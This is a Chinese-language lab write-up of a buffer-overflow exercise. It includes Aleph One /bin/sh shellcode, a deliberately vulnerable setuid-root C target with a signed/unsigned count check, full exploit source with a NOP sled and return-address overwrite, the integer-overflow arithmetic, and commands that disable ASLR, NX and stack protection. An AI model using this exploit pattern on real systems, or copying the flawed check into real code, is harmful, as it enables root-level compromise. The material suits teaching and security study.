最近在做缓冲区溢出实验,总共有6个
shellcode.h
shellcode的作用是运行一个/bin/sh
/*
* Aleph One shellcode.45个字节
*/
static const char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
源代码vul3.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
struct widget_t {//定义一个widget_t的结构体,根据对齐值,大小为20字节
double x;
double y;
int count;
};
#define MAX_WIDGETS 1000 //定义widget_t的最大个数
int foo(char *in, int count)
{
struct widget_t buf[MAX_WIDGETS];//声明
//传入的count为无符号整形,buf数组的大小为1000*20=20000字节
if (count < MAX_WIDGETS) //为这些结构体实例申请空间
{
memcpy(buf, in, count * sizeof(struct widget_t));
}
return 0;
}
int main(int argc, char *argv[])
{
int count;
char *in;
if (argc != 2)//保证输入的参数个数为1
{
fprintf(stderr, "target3: argc != 2\n");
exit(EXIT_FAILURE);
}
setuid(0);//设置UID为0
/*
* format of argv[1] is as follows:
*
* - a count, encoded as a decimal number in ASCII
* - a comma (",")
* - the remainder of the data, treated as an array
* of struct widget_t
*/
//count为整型数
count = (int)strtoul(argv[1], &in, 10);//将输入的参数转成无符号long型整数
//将argv[1]中的count转换成无符号long型,并把后续",data"指针交给in
// unsigned long strtoul(const char *nptr,char **endptr,int base);
// strtoul()会将参数nptr字符串根据参数base来转换成无符号的长整型数。
// 参数base范围从2至36,或0。参数base代表采用的进制方式,
// 如base值为10则采用10进制,若base值为16则采用16进制数等。
// 当base值为0时会根据情况选择用哪种进制:如果第一个字符是'0',就判断第二字符如果是‘x’则用16进制,否则用8进制;第一个字符不是‘0’,则用10进制。
// 一开始strtoul()会扫描参数nptr字符串,跳过前面的空格字符串,直到遇上数字或正负符号才开始做转换,再遇到非数字或字符串结束时('')结束转换,并将结果返回。
// 若参数endptr不为NULL,则会将遇到不合条件而终止的nptr中的字符指针由endptr返回。
if (*in != ',')
{
fprintf(stderr, "target3: argument format is [count],[data]\n");
exit(EXIT_FAILURE);
}
in++; /* advance one byte, past the comma */
foo(in, count);
return 0;
}
攻击代码
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "shellcode.h"
#define TARGET "/mnt/hgfs/sourcecode/proj1/vulnerables/vul3"
int main(void)
{
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh"
"\xb8\x61\xff\xbf\xb8\x61\xff\xbf";
char payload1[20008];
char payload2[20020] = "-2147482647,";
memset(payload1,'\x90',19955);
memcpy(payload1 + 19955,shellcode,sizeof(shellcode));
strcat(payload2,payload1);
char *args[] = { TARGET, payload2 , NULL};//定义运行参数
char *env[] = { NULL };
execve(TARGET, args, env);
fprintf(stderr, "execve failed.\n");
return 0;
}
简单原理说明
缓冲区溢出通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,造成程序崩溃或使程序转而执行其它指令,以达到攻击的目的。
造成缓冲区溢出的主要原因是程序中没有仔细检查用户输入的参数是否合法。
环境声明
LINUX 32位系统
本任务所以实验均在关闭ASLR、NX等保护机制的情况下进行:
- 关闭地址随机化功能:
echo 0 > /proc/sys/kernel/randomize_va_space2. - gcc编译器默认开启了NX选项,如果需要关闭NX(DEP)选项,可以给gcc编译器添加-z execstack参数。
gcc -z execstack -o test test.c - 在编译时可以控制是否开启栈保护以及程度,
gcc -fno-stack-protector -o test test.c //禁用栈保护
gcc -fstack-protector -o test test.c //启用堆栈保护,不过只为局部变量中含有char数组的函数插入保护代码
gcc -fstack-protector-all -o test test.c //启用堆栈保护,为所有函数插入保护代码
实验过程
- 确定溢出目标:
本子任务的输入参数需要特殊构造,格式为: [count],[data] .
之所以这样做,是因为文件中使用了 strtoul()函数 来读取count,后续根据count的大小并结合文件规定的 MAX_WIDGETS来进行内存拷贝。
而问题就出在count上面,首先来看一下stroul()函数的基本描述:
原型:unsigned long strtoul(const char *nptr,char **endptr,int base);
strtoul()会将参数nptr字符串根据参数base来转换成无符号的长整型数。
所以传入foo()函数的参数count实际上是一个无符号整形数,但是参数却是以int型进行传递,故而如果输入负数,可以轻松绕过foo()函数中的if判断,且对于大整数而言,存在符号位溢出的可能性,即一个大负数×一个数会生成一个正数。
故而,我们的目标就是通过构造count,来绕过foo()函数中的if判断,并通过运算符号位溢出,来溢出buf结构数组,从而覆盖foo函数的返回地址。 - 构造payload:
当前我们知道信息有,widget_t结构体的大小为20个字节:
foo()函数中申请了1000个widget_t结构体的结构数组buf,大小为20000个字节。
当然这些其实都不重要,重要的是我们需要构造一个负数,使得foo()函数中的判断成立,且后续的拷贝大小大于20000:
显然,只要是负数,判断均可以通过。
其次,count*20>20000,为了减少一定的资源损耗,我们按1001来构造,而1001的十六进制表示为:\x3e9。我们使\x3e9的符号位为1,得到了\x800003e9,不难求得,20*\x3e9与20*\x800003e9的结果相同(符号位溢出了)。
而计算机中负数是以补码的形式存储,对\x800003e9求补(按位取反+1)可以得到对应的正数:2147482647,故而我们输入的count为:-2147482647
最后,考虑一下data的构造,首先在data之中必然要嵌入shellcode,其次,我们知道原本的空间为20000个字节,那么返回地址就在20008个字节处,GDB调试时,得到了buf的基址为0xbfff61b8,即在20004-20008个字节填充该值即可。
最终的payload构造如下:共20020个字节
Count段:共12个字节
Data段:共20008个字节
前19955个字节为NOP,接着45个字节为shellcode,最后8个字节为EBP与返回地址。
- 编译并运行,结果如下图所示;
可见,成功执行了shellcode,溢出执行成功。
总结
本实验主要是绕过if判断,这里是因为无符号整数和整数的判断不一致造成的,而后续由于大整数进行乘出现了运算溢出,使得符号位溢出了,最终达到了大负数乘一个整数申请了比原限制更大的空间,从而覆盖返回地址从而执行构造好的shellcode